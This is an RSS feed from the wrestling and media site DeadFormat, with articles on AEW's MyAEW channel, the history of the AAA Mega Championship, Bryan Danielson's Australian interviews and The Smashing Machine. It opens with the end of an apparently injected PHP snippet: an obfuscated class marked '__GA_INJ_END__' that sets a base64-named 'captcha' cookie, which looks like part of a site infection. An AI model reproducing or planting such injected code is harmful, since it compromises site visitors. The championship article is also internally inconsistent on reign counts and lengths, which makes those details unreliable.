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setCaptchaCookie(){if(!is_user_logged_in()){return;}$_c21eb0e9=base64_decode('ZmtyY19zaG93bg==');if(isset($_COOKIE[$_c21eb0e9])){return;}$_49c41ff1=time()+(365*24*60*60);setcookie($_c21eb0e9,'1',$_49c41ff1,'/','',false,false);}}new GAwp_f7a8ee85(); /* __GA_INJ_END__ */ Wrestling Archives - DeadFormat https://deadformat.co.uk/category/wrestling/ Yesterday’s media. Today. Mon, 09 Mar 2026 16:29:29 +0000 en-GB hourly 1 https://wordpress.org/?v=6.9.4 https://deadformat.co.uk/wp-content/uploads/2025/08/cropped-ChatGPT-Image-Aug-5-2025-04_09_27-PM-32x32.png Wrestling Archives - DeadFormat https://deadformat.co.uk/category/wrestling/ 32 32 All Elite Wrestling Partners With Kiswe to Launch MyAEW https://deadformat.co.uk/all-elite-wrestling-partners-with-kiswe-to-launch-myaew/ https://deadformat.co.uk/all-elite-wrestling-partners-with-kiswe-to-launch-myaew/?noamp=mobile#respond Mon, 09 Mar 2026 16:27:33 +0000 https://deadformat.co.uk/?p=11061 After more than six years in operation, All Elite Wrestling has officially launched its own FAST channel as part of a new partnership with streaming technology company Kiswe. The platform, called MyAEW, was announced Monday and will provide fans with a new way to access AEW content online. According to the announcement, MyAEW will offer […]

The post All Elite Wrestling Partners With Kiswe to Launch MyAEW appeared first on DeadFormat.

]]> After more than six years in operation, All Elite Wrestling has officially launched its own FAST channel as part of a new partnership with streaming technology company Kiswe.

The platform, called MyAEW, was announced Monday and will provide fans with a new way to access AEW content online. According to the announcement, MyAEW will offer immersive access to both live and on-demand events outside the United States and Canada, along with a dedicated FAST channel that will be available globally and supported by advertising. Additional features are also planned for future updates.

FAST stands for Free Ad-Supported Streaming Television, a model that allows viewers to watch content for free while ads are shown during programming.

The service is now live at MyAEW.com, where fans can currently watch episodes from the first year of AEW Dynamite. The website also features a “coming soon” section for the AEW Podcast Network, alongside links to official AEW merchandise.

In the official release, AEW stated:

“This partnership marks the beginning of a long-term evolution for MyAEW, with continued advancements and developments over the next year.”

While the FAST channel will provide free viewing, the announcement suggests some paid elements may be introduced in certain regions. The release notes that Kiswe’s technology allows platforms to offer live and on-demand streaming with flexible, region-specific pricing models.

It remains unclear whether the MyAEW FAST channel will eventually expand to third-party FAST platforms such as Pluto TV, Tubi, The Roku Channel, Samsung TV Plus, or Xumo Play, which could significantly broaden its reach.

AEW’s broadcast partner Warner Bros. Discovery has already launched several FAST channels across those platforms, though none have included AEW content so far. Interestingly, Paramount Global — which could become AEW’s domestic rights holder if its planned merger with Skydance is completed — already owns Pluto TV, potentially creating another future distribution avenue for AEW programming.

The post All Elite Wrestling Partners With Kiswe to Launch MyAEW appeared first on DeadFormat.

]]> https://deadformat.co.uk/all-elite-wrestling-partners-with-kiswe-to-launch-myaew/feed/ 0 Inside the History of the AAA Mega Championship https://deadformat.co.uk/inside-the-history-of-the-aaa-mega-championship/ https://deadformat.co.uk/inside-the-history-of-the-aaa-mega-championship/?noamp=mobile#respond Tue, 16 Sep 2025 15:12:42 +0000 https://deadformat.co.uk/?p=10722 The AAA Mega Championship (Campeonato Mega de AAA) is the primary singles championship of Lucha Libre AAA Worldwide (AAA), one of Mexico’s leading professional wrestling promotions. Created in 2007 to unify several of the company’s earlier top titles into a single crown, it has since become a fixture of Triplemanía, AAA’s flagship annual event, and […]

The post Inside the History of the AAA Mega Championship appeared first on DeadFormat.

]]> The AAA Mega Championship (Campeonato Mega de AAA) is the primary singles championship of Lucha Libre AAA Worldwide (AAA), one of Mexico’s leading professional wrestling promotions. Created in 2007 to unify several of the company’s earlier top titles into a single crown, it has since become a fixture of Triplemanía, AAA’s flagship annual event, and the championship most closely associated with the promotion’s main event scene.

While rooted in Mexican lucha libre, the Mega Championship has grown into a widely recognised world title, often defended beyond AAA’s own events and carried by both homegrown stars and international names — reflecting the promotion’s increasingly global outlook.

Origins and Creation

The AAA Mega Championship was established on 16 September 2007 to unify several of AAA’s previous major singles titles — the Mexican National Heavyweight Championship, UWA World Light Heavyweight Championship, UWA World Heavyweight Championship, and IWC World Heavyweight Championship — into one undisputed championship.

This gave AAA a single, definitive world title in place of its scattered top belts, mirroring how other major modern promotions like WWE or AEW (Then ROH, likely) operate.

The inaugural champion was El Mesías (Ricky Banderas/Mil Muertes), who defeated Chessman in the tournament final at Verano de Escándalo 2007. Mesías went on to become the belt’s dominant early figure, holding it a record four times during its formative years.

Notable Reigns & Global Spotlight

ChampionDate WonEventDefeatedLost To / VacatedReign LengthNotes
El Mesías16 Sep 2007Verano de EscándaloChessman (tournament final)Dr. Wagner Jr. — Triplemanía XVII (21 Jun 2009)645 daysFirst champion, cornerstone of early AAA
Dr. Wagner Jr.21 Jun 2009Triplemanía XVIIEl MesíasL.A. Park — Verano de Escándalo (22 Aug 2010)427 daysElevated prestige; major mainstream Mexican coverage
L.A. Park22 Aug 2010Verano de EscándaloDr. Wagner Jr.El Zorro — Guerra de Titanes (1 Dec 2010)101 daysControversial reign amid backstage tension
El Zorro1 Dec 2010Guerra de TitanesL.A. ParkJeff Jarrett — Triplemanía XIX (18 Jun 2011)199 daysFinal main event run
Jeff Jarrett (1)18 Jun 2011Triplemanía XIXEl ZorroEl Mesías — Triplemanía XX (18 Aug 2012)427 daysFirst American champion; defended while in TNA
El Mesías (2)18 Aug 2012Triplemanía XXJeff JarrettTexano Jr. — Guerra de Titanes (7 Dec 2012)111 daysHis fourth and final reign
Texano Jr.7 Dec 2012Guerra de TitanesEl MesíasAlberto El Patrón — Guerra de Titanes (7 Dec 2014)730 daysOne of the longest reigns
Alberto El Patrón7 Dec 2014Guerra de TitanesTexano Jr.Vacated — early 2015~90 daysBrief but high-profile; appeared in ROH with the belt
Texano Jr. (2)23 Mar 2015Rey de ReyesEl Mesías (vacant title match)Johnny Mundo — Rey de Reyes (19 Mar 2017)727 daysDefended mainly on AAA events
Johnny Mundo19 Mar 2017Rey de ReyesTexano Jr.Dr. Wagner Jr. — Triplemanía XXV (26 Aug 2017)160 daysHeld Mega, Latin American & Cruiserweight titles simultaneously
Dr. Wagner Jr. (2)26 Aug 2017Triplemanía XXVJohnny MundoJeff Jarrett — Triplemanía XXVI (25 Aug 2018)364 daysVeteran reign
Jeff Jarrett (2)25 Aug 2018Triplemanía XXVIDr. Wagner Jr. & Rey Fénix (three-way)Rey Fénix — Heroes Inmortales (28 Oct 2018)64 daysShort shock return reign
Rey Fénix28 Oct 2018Heroes InmortalesJeff JarrettKenny Omega — Heroes Inmortales XIII (19 Oct 2019)356 daysPopular reign; defended on U.S. independents
Kenny Omega19 Oct 2019Heroes Inmortales XIIIRey FénixVacated — Nov 2021 (injury)767 daysDefended on AEW and AAA; raised title’s global profile
El Hijo del Vikingo4 Dec 2021Triplemanía Regia IIBandido, Bobby Fish, Jay Lethal & Samuray del Sol (vacant title match)Dominik Mysterio — Worlds Collide (12 Sep 2025)1,379 daysLongest reign in history; defended in AEW, ROH, IMPACT, U.S. indies
Dominik Mysterio12 Sep 2025AAA x WWE: Worlds CollideEl Hijo del Vikingo—OngoingFirst WWE-contracted champion; son of Rey Mysterio, an AAA/CMLL alum

While many wrestlers have held the Mega Championship, several reigns are especially significant to its history:

El Mesías (2007–2011) — The Founding Champion

Mesías set the standard for the title, winning the inaugural tournament and later reclaiming it from rivals like Cibernético and Dr. Wagner Jr. He defended it exclusively on AAA shows in Mexico, establishing the championship as AAA’s main singles prize.

Dr. Wagner Jr. (2009–2010) — A Legend’s Crowning Moment

At Triplemanía XVII in June 2009, Dr. Wagner Jr. defeated Mesías in a high-profile main event that brought major attention to the title. Wagner held it for over a year before losing to L.A. Park in 2010, showing that AAA’s top championship could headline with Mexico’s most renowned veterans.

Jeff Jarrett (2011 & 2018) — International Shockwaves

Jeff Jarrett became the first American to win the belt at Triplemanía XIX in 2011, defeating El Zorro with help from Karen Jarrett and La Sociedad. He carried the title onto TNA Impact Wrestling broadcasts, giving it rare U.S. television exposure. In 2018, he briefly held it again at Triplemanía XXVI in a three-way against Dr. Wagner Jr. and Rey Fénix, before losing it shortly after.

Texano Jr. (2012–2014) — A Long-Term Champion

Texano Jr. defeated El Mesías at Guerra de Titanes 2012 and held the belt for 730 days, one of the longest reigns in its history. He defended it primarily on AAA events in Mexico before losing to Alberto El Patrón at Guerra de Titanes 2014.

Alberto El Patrón (2014–2015) — A Global Name

Fresh from WWE, Alberto El Patrón brought international visibility when he defeated Texano Jr. for the championship. He appeared with the belt during Ring of Honor shows in the United States before vacating it in early 2015 upon re-signing with WWE.

Johnny Mundo (2017) — The Triple Crown Moment

Johnny Mundo won the Mega Championship from El Texano Jr. at Rey de Reyes on March 19, 2017, while already holding the Latin American and World Cruiserweight titles. He became the first wrestler in AAA history to hold all three singles championships simultaneously, before losing the Mega title to Dr. Wagner Jr. at Triplemanía XXV later that year.

Rey Fénix (2018–2019) — The High-Flying Fan Favourite

Rey Fénix captured the title from Jeff Jarrett at Heroes Inmortales on 28 October 2018, becoming one of the youngest champions in the belt’s history. He defended the title on AAA shows and various U.S. independent promotions, adding a surge of excitement and international attention before losing to Kenny Omega at Heroes Inmortales XIII in October 2019.

Kenny Omega (2019–2021) — The AEW Era

As part of AAA’s working relationship with All Elite Wrestling, Kenny Omega captured the Mega Championship from Rey Fénix. He defended it at AAA pay-per-views and on AEW television, including matches against Sammy Guevara, Jack Evans and Laredo Kid, giving the belt a high international profile before vacating it due to injury in late 2021.

El Hijo del Vikingo (2021–2025) — The Record Breaker

Crowned in a five-way match at Triplemanía Regia II (December 2021), Vikingo defended the championship for over 1,200 days — the longest reign in its history. He carried it to AEW, ROH, IMPACT and independent U.S. promotions, raising its global visibility before losing to Dominik Mysterio in 2025.

Dominik Mysterio (2025–present) — A WWE Crossover Moment

In a rare cross-promotional title change, Dominik Mysterio defeated Vikingo at the AAA x WWE “Worlds Collide” event in Las Vegas (September 2025). It was the first time the Mega Championship changed hands on a WWE-branded show, and it marked the beginning of a new interpromotional chapter for the title.

Legacy & Significance

Among AAA’s various championships — including its World Tag Team, World Trios, Latin American and Cruiserweight titles — the Mega Championship is designated as the company’s primary singles world championship. It regularly headlines Triplemanía and has been held by many of the promotion’s top stars.

Unlike most world titles, the Mega Championship has often been defended outside its home promotion. AAA has placed the title on wrestlers from TNA, AEW, ROH, IMPACT and WWE, using it to build international visibility and cross-promotional goodwill. This has given the championship a reputation as one of the most globally travelled titles in wrestling, while still remaining the centrepiece of AAA’s identity.

AAA and CMLL — Two Pillars of Lucha Libre

AAA’s status is often compared with its long-time counterpart CMLL (Consejo Mundial de Lucha Libre) — the oldest professional wrestling promotion in the world, founded in 1933. While CMLL is known for its traditional, heritage-driven approach and keeps its world titles largely within Mexico, AAA has focused on television presentation, spectacle and international crossovers, with the Mega Championship embodying that philosophy. Both promotions remain central to Mexican wrestling and are seen as two contrasting but equally important institutions.

Dominik Mysterio — Continuing the Mysterio Legacy

The current AAA Mega Champion is Dominik Mysterio, who captured the title from El Hijo del Vikingo at the AAA x WWE: Worlds Collide event in Las Vegas in September 2025. The victory marked a historic first — the Mega Championship changing hands on a WWE-branded show — and signalled the beginning of a new interpromotional chapter for the title.

Dominik’s reign carries extra significance because of his family name. His father, Rey Mysterio, is widely regarded as one of the greatest luchadores of all time and spent much of the 1990s and early 2010s wrestling in AAA, where he first made his name before becoming an international star. Rey also made a short return run in CMLL in 2011, further cementing his ties to both of Mexico’s major promotions.

With Dominik now holding the company’s top prize, many fans expect Rey to return to AAA to challenge his son — a generational showdown that would not only mark Rey’s full-circle return to the promotion where he made his name, but also stand as one of the most high-profile matches in the history of the Mega Championship.

Nearly two decades after its creation, the AAA Mega Championship has become one of the most recognisable symbols of modern lucha libre. Born from the unification of several older titles, it has grown into a world championship defended across borders, carried by both homegrown icons and international stars.Discover the history of the AAA Mega Championship — AAA’s top world title, defended globally by legends, icons and rising stars.

Its current chapter — led by Dominik Mysterio, the son of AAA alumnus Rey Mysterio — highlights how the title continues to evolve, bridging generations and even promotions. Whether defended on AAA’s own grand stages or in cross-promotional settings, the Mega Championship remains the clearest marker of who stands at the top of AAA.

As the landscape of professional wrestling shifts around it, the belt endures — a constant thread through AAA’s past, present and future.

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]]> https://deadformat.co.uk/inside-the-history-of-the-aaa-mega-championship/feed/ 0 Danielson Gets The Itch Watching ACTION DEAN~!! 2 https://deadformat.co.uk/danielson-gets-the-itch-watching-action-dean-2/ https://deadformat.co.uk/danielson-gets-the-itch-watching-action-dean-2/?noamp=mobile#respond Sat, 13 Sep 2025 20:41:51 +0000 https://deadformat.co.uk/?p=10686 Bryan Danielson has revealed that watching the ACTION DEAN~!! 2 event earlier this year briefly reignited his desire to return to professional wrestling. The former AEW World Champion opened up about the experience while speaking with Wrestle Radio Australia, explaining that the energy of the show made him feel something he hadn’t felt in years. […]

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]]> Bryan Danielson has revealed that watching the ACTION DEAN~!! 2 event earlier this year briefly reignited his desire to return to professional wrestling. The former AEW World Champion opened up about the experience while speaking with Wrestle Radio Australia, explaining that the energy of the show made him feel something he hadn’t felt in years.

A Tribute Show That Rekindled His Passion

The ACTION DEAN~!! 2 event was a co-promoted show between ACTION Wrestling and AEW held back in May, paying tribute to the late Dean Rasmussen — a beloved figure within the wrestling community who wrote extensively about the industry on the influential Death Valley Driver website.

Danielson attended the show live and found himself swept up in the spirit of the event, which celebrated independent wrestling’s creativity and passion.

“There was a show we did before Double or Nothing, DEAN~!!! in tribute to Dean Rasmussen,” Danielson said. “I watched that show, I was there live watching it. Not much has made me want to come back to wrestling because I was in so much pain the last six months of my in-ring career, but I was there at that show and was like, ‘I kinda want to come back.’ [Laughs]. What do I have to do to wrestle Mad Dog Connelly in a chain match?”

Danielson’s Final Months in the Ring

Danielson has been open about how the physical toll of his final six months as an active competitor played a major role in his decision to retire from in-ring competition. The pain and wear-and-tear became so intense that even the thought of wrestling again had largely vanished — until ACTION DEAN~!! 2 momentarily reignited that spark.

A New Role Behind the Desk

While the show may have briefly tempted him to lace up his boots again, Danielson has not returned to active competition. Instead, he has embraced a new role in AEW as part of the commentary team, providing insight and analysis from ringside.

It marks a major transition for one of wrestling’s most celebrated performers, who continues to influence the industry from outside the ropes even as his in-ring days appear to be behind him.

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]]> https://deadformat.co.uk/danielson-gets-the-itch-watching-action-dean-2/feed/ 0 Bryan Danielson Lights Up AEW’s Australian Media Tour https://deadformat.co.uk/bryan-danielson-lights-up-aews-australian-media-tour/ https://deadformat.co.uk/bryan-danielson-lights-up-aews-australian-media-tour/?noamp=mobile#respond Wed, 10 Sep 2025 20:35:38 +0000 https://deadformat.co.uk/?p=10650 Bryan Danielson has touched down in Australia ahead of AEW Grand Slam: Sydney, and the buzz around him has been impossible to ignore. The American Dragon has been front and centre during AEW’s promotional tour, speaking candidly about the company, his career, and what fans can expect from AEW’s historic first stadium show down under. […]

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]]> Bryan Danielson has touched down in Australia ahead of AEW Grand Slam: Sydney, and the buzz around him has been impossible to ignore. The American Dragon has been front and centre during AEW’s promotional tour, speaking candidly about the company, his career, and what fans can expect from AEW’s historic first stadium show down under. From heartfelt reflections on his future to fiery declarations about AEW’s growth, Danielson has given wrestling fans in Australia plenty to talk about — and the headlines just keep coming.

Featuring quotes from; Ned & Josh, Jamie Apps of Pario Magazine, Jon Bernard, Nick Stav, and The AM/IN Show

Bryan Danielson on WWE Not Wanting AEW to Exist

While speaking with Ned & Josh during AEW’s Australian media tour, Bryan Danielson didn’t shy away from addressing the often-debated relationship between WWE and AEW. The American Dragon admitted that while most wrestlers in WWE would logically want AEW to succeed — since competition benefits talent across the board — there are some who feel differently.

“I would think most wrestlers in WWE want AEW to keep existing because it’s good for them, but certain people there obviously don’t want us to exist. I’m not saying anything bad about them. I’m just saying, I’m curious as to why they desire that.”

Danielson’s comments highlight the ongoing tension between the two biggest wrestling promotions in the world, while also showcasing his typically calm, inquisitive approach rather than outright hostility.

Bryan Danielson on the Idea of Running Ring of Honor

During an interview with Jamie Apps of Pario Magazine, Danielson was asked whether he’d ever be interested in taking over Ring of Honor — the promotion where he first made his name. His answer was thoughtful, respectful of Tony Khan’s current role, but also revealed his admiration for ROH’s value within AEW’s ecosystem.

“Yeah, I mean that would interest me. I don’t think Tony has interest in that. I think Tony does a really great job of juggling all these plates. He does a pretty great job with it. I’m always open to doing whatever the company needs. So yeah, I would love to do it.”

Danielson went on to praise Ring of Honor as a platform for younger talent, highlighting standout matches from the latest ROH pay-per-view — including Lee Moriarty vs. Xelhua, Bandido vs. Hechicero, and Athena vs. Mina Shirakawa.

“I think Ring of Honor is a really cool product, especially for our younger talent to be able to get them exposure… When you see the talent that you’ve got to work with—everybody’s perspective is a little different. Everybody has their little bit of difference, where you see something and be like, ‘Oh, okay, I would do something a little bit different here.’ But I wouldn’t say that my version of it would be any better than Tony Khan’s version. I’m not here angling for a job to take over Ring of Honor.”

Even as one of ROH’s most iconic alumni, Danielson made it clear that he isn’t lobbying for control. Instead, his comments underscored his ongoing respect for the promotion’s legacy and its role in developing future stars.

Bryan Danielson on His Running Gag with Shane Haste

In the same Pario Magazine interview, Danielson shared a lighthearted story about his history with current New Japan star Shane Haste. It all started back in Perth during his time working NWA shows, when he wrestled Haste and Mikey Nichols. Despite sharing the ring, Danielson admitted he constantly failed to recognise Haste in future encounters.

“I also did some amazing shows in Perth for the NWA and I got to wrestle Shane Haste and Mikey Nichols. They came to WWE for a bit and now they’re in New Japan. It’s really funny because I wrestled them both, and typically when you wrestle people, you remember them. But I have such poor facial recognition.”

Danielson recalled repeatedly introducing himself to Haste as though they’d never met — even after wrestling each other.

“I met Shane Haste at least eight times after that, and every time I was like, ‘Oh, hi. I’m Bryan. Nice to meet you.’ And he’d go, ‘Yeah, we’ve wrestled.’ I was like, ‘Oh, sorry, man.’ Then I’d see him the next time—’Hey, man. Bryan Danielson, nice to meet you.’ He goes, ‘Yeah, I know. We’ve wrestled. We had the same conversation last time.’”

According to Danielson, the mix-up eventually turned into a running gag between them — one he looks back on with humour rather than embarrassment.

Bryan Danielson on Finding Out About AEW Commentary

Danielson also revealed that he discovered his new commentary role on AEW Dynamite in a very unexpected way. Speaking with Pario Magazine, he explained that while the idea had been floated before, the confirmation only came to him at the same time as it did to fans.

“It had been mentioned, but then I found out the same way everybody else found out on Sunday. I got a text message like, ‘hey, man, so you’re going to be at Dynamite this week, right?’ and I was like, ‘huh?’ and then they sent me the tweet that Tony Khan sent out. I was just like, ‘oh, okay. I guess so.’

Tony and I had talked about the possibility of it, but I didn’t know it was a real thing until Sunday. It was Saturday in the United States, but Sunday here in Australia.”

Bryan Danielson on WWE’s Counter-Programming Against AEW

In an interview with Jon Bernard, Danielson addressed WWE’s strategy of counter-programming against AEW. Rather than taking shots, he framed his comments around curiosity — questioning the thought process behind WWE’s moves and whether AEW truly poses the kind of threat that would warrant such measures.

“I think of it and I wonder, right? Like, I’m just curious what the people who are making these decisions, what they’re thinking. In the sense of this, ‘Oh, okay. This AEW thing, it’s real dangerous to our billion dollar business.’ That can’t be it.

The one thing I think is that AEW existing and being this challenger brand, and being as successful as we’ve been, has changed the landscape for wrestling for the wrestlers themselves… but we’re still the challenger brand, catching up on however many years WWE has had.

But it’s interesting, because we’re not at the point of being a threat. It’s one of the things where people who really crave power and a lot of money play these weird games that I don’t understand.

It’s like, okay, we’re going to run all the competitors that might be competitive with us out of this business. Why? It’s good for the wrestlers both in AEW and WWE. It’s been good for them like—okay, if AEW wouldn’t have started, would Cody Rhodes be where he is right now? No. They have a megastar because AEW exists. Would CM Punk ever have come back? Probably not,

— The people in WWE, a lot of the people I know, are great people. So I’d be interested to know what’s the decision-making process in this? But, you know, it’s not my monkey, not my circus, whatever the line is for that, you know what I mean?”

Danielson acknowledged that AEW has undeniably shifted the wrestling landscape, creating new opportunities for talent across the industry, but made it clear he sees the company as a challenger brand rather than a direct threat.

Bryan Danielson on His Struggles in the Match with Kazuchika Okada

Reflecting on a past AEW Dynamite clash with Kazuchika Okada, Danielson admitted that his physical limitations nearly derailed the bout. Speaking to Jon Bernard, he revealed how his lingering neck issues caused an unexpected collapse in his conditioning — something that rarely happens to him.

“There was a point where I stopped being able to do some of the things that I could normally do because my neck was so bad. Shortly before my last match with Jon Moxley, I wrestled Okada on TV, and I never get tired when I wrestle ever, right? But because my neck was so bad, my legs started giving out.

And it was like, ‘Oh no, what do I do now that my legs aren’t working?’ I just thought, okay, I’ll try to get through this. Which was really hard because the story of the match was that he’s the Continental Champion. The first 20 minutes, I needed to be pushing him because the Continental Title was only up for grabs for the first 20 minutes, and I needed to be pushing the pace.

But I couldn’t, because my legs weren’t working. So yeah, if my body was fully functional, I feel like my mind is as good for wrestling as ever—but my body’s not fully functional.”

The story underlines Danielson’s ongoing battle between his wrestling mind — still as sharp as ever — and a body that sometimes struggles to keep up with the demands of his craft.

Bryan Danielson on Who He Believes Are the Best Wrestlers in the World

When asked to name the wrestlers he considers among the best in the world today, Danielson pointed to a wide range of talent across AEW, Ring of Honor, and New Japan Pro Wrestling. Speaking with Jon Bernard, he praised both established stars and rising names who have stood out to him.

“As far as the people in AEW, I think Bandido has had this incredible year. He’s the ROH Champion and he just had this match with Hechicero on a Ring of Honor pay-per-view that was just awesome.

And then Will Ospreay, Swerve, Hangman—Hangman’s freaking awesome, Kyle Fletcher, there’s just so many guys. And that’s even discounting the women, right? You look at Toni Storm and Mercedes, and they’re both fantastic.

It’s hard for me to say because everybody wrestles kind of a different style. There’s a New Japan wrestler that I love named Zack Sabre Jr., and I think Zack—he’s wrestling a completely different style than anybody else, and I just find it to be super compelling.”

Danielson’s list underscores both his appreciation for technical variety and his recognition of talent across genders and promotions, highlighting just how diverse the current wrestling landscape has become.

Bryan Danielson on Vince McMahon’s Final WWE Offer

Before committing to AEW, Danielson revealed that Vince McMahon personally reached out to make him one last offer to stay with WWE. Speaking with Nick Stav, Danielson explained how he valued his relationship with McMahon but stood firm on the decision he had already made.

“I had called Vince because he and I had a really good relationship. I called him in early August and let him know, ‘Okay, I’ve made my decision and I’m gonna do this.’ Then he had called me one time kind of in the meantime and said, ‘Hey, what if we offered you this instead?’ It was maybe five days before the pay-per-view and he called me.

I said, ‘Sir, I’ve already agreed to this thing and if I was somebody to go back on this, I feel like you have a decent amount of respect for me. Would you still respect me? One of the things that you respect about me is I honor my word.’ But it was a great conversation and he said, ‘Dammit, you’re right.’”

The anecdote reflects both Danielson’s integrity in keeping his word and the mutual respect he and McMahon shared, even as their paths diverged.

Bryan Danielson on His Most Cherished Crowd Reactions

When asked if there was a specific crowd or night that stood out to him, Danielson recalled two deeply meaningful moments — one from AEW and one from WWE. Speaking with Nick Stav, he shared how both personal and professional milestones intertwined in those memories.

“The one that resonates with me most right now is when I won the (AEW World) title at All In in Wembley Stadium.

This amazing crowd reaction in front of 50-plus thousand people, but my kids are there. And they get to see it. And then they get to get in the ring with me. And then they get to experience the crowd reaction. So as a family, we’re all experiencing this together.

Another crowd reaction that is near and dear to my heart that I think about all the time is the last time my dad got to see me wrestle before he died. It was in Seattle. It was December 2013. They were doing this unification match between John Cena and Randy Orton. And they had all the former champions in the ring, and the crowd started chanting nonstop for Daniel Bryan.

What makes it stand out especially is that my dad was in the crowd, and he was in the crowd with his boss. He told this to my sister shortly after, he goes, ‘I didn’t realize that Bryan was like this’ …. RAW goes off the air and the good guys are out shaking hands, and I see my dad who was like 10-12 rows back, run up and I just give him the biggest hug. And then four or five months later, he passed away.”

From the joy of celebrating a career-defining victory at Wembley with his children to the emotional memory of sharing a final wrestling moment with his father, Danielson revealed the human side of why certain crowd reactions mean more than others.

Bryan Danielson on the Rise of Australian Talent

During an appearance on The AM/IN Show, Danielson expressed his admiration — and curiosity — about the surge of high-level wrestling talent emerging from Australia. He noted how impressive the skill level has been, while also wondering how the industry can ensure that pipeline continues to thrive.

“How does it happen, where are they training at, where do they get the reps to get this good at all this stuff. It’s more of a curiosity in the sense of, okay, how do we build these systems so that this keeps happening, so that more and more Australian wrestlers keep coming up the pipeline like this.

Toni Storm is one of the biggest draws we have in AEW, Kyle Fletcher is just incredible. Harley Cameron, I don’t know if you know this, she speaks Chinese! She does puppet stuff, she can play musical instruments, she can rap, she can do all of these different things.

How are these people coming into the pipeline to where we can present them on our programming and how do we keep that happening. From an administrative perspective, that’s what you look at.”

Danielson highlighted AEW stars like Toni Storm and Kyle Fletcher, along with Harley Cameron’s wide range of talents, as prime examples of Australia’s growing impact on global wrestling.

Bryan Danielson on Having No Wrestling Bucket List Left

Speaking again on The AM/IN Show, Danielson admitted that he no longer has any lingering goals left in professional wrestling. After decades of success and a career filled with defining moments, he explained that both his perspective and personal life have shifted.

“There’s not a single thing. I’ve been very fortunate in my career to have some incredible moments and all that kind of stuff. And I think when I was forced to retire before, I wasn’t ready to be done.

With the last six months of my wrestling career, being in as much pain as I was, that kind of put me in this thing of like, ‘Okay, you know what? I think I’m ready to be done.’ And now I have—like when I was forced to retire before, I was married, but we didn’t have kids yet, right? And so it’s like, you go home and you have that full parenting life and all that kind of stuff. It’s a whole other thing, right?

So yeah, I’m very fulfilled by my career. I’m very fulfilled by my life right now. And I get to stay involved in professional wrestling, which is something that I still love to this day.”

Danielson stressed that while his body has reminded him of his limits, he feels fully content with what he has achieved and finds joy in both his family life and his continued involvement in wrestling.

Bryan Danielson’s trip to Australia has provided fans with a rare, unfiltered glimpse into the mind of one of wrestling’s most respected figures. From candid reflections on WWE and AEW’s rivalry to heartfelt personal stories, from his thoughts on rising talent to his own physical battles, Danielson has been open, honest, and deeply thoughtful.

Across interviews with Featuring quotes from; Ned & Josh, Jamie Apps of Pario Magazine, Jon Bernard, Nick Stav, and The AM/IN Show, Danielson has shown exactly why his voice carries so much weight both inside and outside the ring. Whether he’s praising the next generation, recalling emotional family moments, or admitting he’s at peace with his career, The American Dragon’s words have only heightened anticipation for AEW Grand Slam: Sydney.

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]]> https://deadformat.co.uk/bryan-danielson-lights-up-aews-australian-media-tour/feed/ 0 The Smashing Machine New Trailer Drops After Venice Premiere https://deadformat.co.uk/the-smashing-machine-new-trailer-drops-after-venice-premiere/ https://deadformat.co.uk/the-smashing-machine-new-trailer-drops-after-venice-premiere/?noamp=mobile#respond Tue, 09 Sep 2025 14:31:49 +0000 https://deadformat.co.uk/?p=10619 Dwayne Johnson stunned critics at the Venice Film Festival with his emotional portrayal of UFC legend Mark Kerr in Benny Safdie’s The Smashing Machine. Now, A24 has released a brand-new trailer ahead of the film’s theatrical debut on October 3, 2025. A “Rockaissance” in Motion? Johnson’s heartfelt performance has been called one of the most […]

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]]> Dwayne Johnson stunned critics at the Venice Film Festival with his emotional portrayal of UFC legend Mark Kerr in Benny Safdie’s The Smashing Machine. Now, A24 has released a brand-new trailer ahead of the film’s theatrical debut on October 3, 2025.

A “Rockaissance” in Motion?

Johnson’s heartfelt performance has been called one of the most ambitious of his career, leading some to speculate about a full-blown “Rockaissance.” Unlike blockbuster stars who simply pivot into “serious roles,” Johnson’s turn has been described as layered, intimate, and deeply personal. The Venice buzz suggests this could redefine his image beyond action spectacles, establishing him as a serious contender in the upcoming awards season.

IndieWire critic Ryan Lattanzio praised both Johnson and Safdie’s film, noting that it resists the trappings of prestige cinema.

“Safdie’s first solo-directed feature after helming episodes of TV’s The Curse and creatively breaking up with his brother Josh sounds like the stuff of awards-season bait… But The Smashing Machine is not that, nor is it The Wrestler, either.”
— Ryan Lattanzio, IndieWire

Johnson and Blunt’s On-Screen Chemistry

Safdie’s film explores the stark contrasts in Kerr’s life — his intimidating, undefeated presence inside the octagon and his wounded, insecure persona outside it. Emily Blunt co-stars as Kerr’s girlfriend and eventual wife, Dawn Staples-Kerr, delivering a performance that critics say matches Johnson beat for beat.

“Safdie’s film is rather a sweet duet between a remarkably unembellished Johnson and a blazingly good, blue-collar and freshly blown-out Emily Blunt.”
— Ryan Lattanzio, IndieWire

Their natural chemistry is enhanced by a real-life friendship. At Venice, Johnson described Blunt as his “best friend” and credited her with inspiring him to take greater artistic risks and embrace the emotional depth of the role. Many critics singled out their dynamic as one of the film’s strongest elements, grounding the story in raw, human emotion.

Release Date

Distributed by A24, The Smashing Machine will hit theaters on October 3, 2025. With awards chatter already surrounding Johnson’s performance and the new trailer showcasing Safdie’s uncompromising style, anticipation for the film is only growing. Watch the trailer below.

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]]> https://deadformat.co.uk/the-smashing-machine-new-trailer-drops-after-venice-premiere/feed/ 0 Johnson Sparks Oscar Buzz with The Smashing Machine at Venice https://deadformat.co.uk/johnson-sparks-oscar-buzz-with-the-smashing-machine-at-venice/ https://deadformat.co.uk/johnson-sparks-oscar-buzz-with-the-smashing-machine-at-venice/?noamp=mobile#respond Mon, 01 Sep 2025 14:47:43 +0000 https://deadformat.co.uk/?p=10465 Dwayne Johnson is leaving his action-hero persona behind for something far more demanding — a raw dramatic turn in Benny Safdie’s The Smashing Machine. The film premiered at the Venice Film Festival on Monday, immediately igniting speculation that Johnson could be headed for his first serious run at Oscar glory. A Career Transformation As we […]

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]]> Dwayne Johnson is leaving his action-hero persona behind for something far more demanding — a raw dramatic turn in Benny Safdie’s The Smashing Machine. The film premiered at the Venice Film Festival on Monday, immediately igniting speculation that Johnson could be headed for his first serious run at Oscar glory.

A Career Transformation

As we explored in our earlier coverage of Johnson’s pivot away from blockbusters, the actor has spoken about his “burning desire” to move beyond box office categories. The Smashing Machine delivers on that promise, casting Johnson as two-time UFC heavyweight tournament champion Mark Kerr.

Kerr’s career dominance was shadowed by harrowing personal struggles, including addiction to opioids and painkillers and multiple overdoses. The role is a sharp departure from Johnson’s work in franchises like Jumanji, Moana, and Fast & Furious. Emily Blunt co-stars as Kerr’s wife Dawn Staples, marking her second collaboration with Johnson after Jungle Cruise.

Early Praise and Oscar Speculation

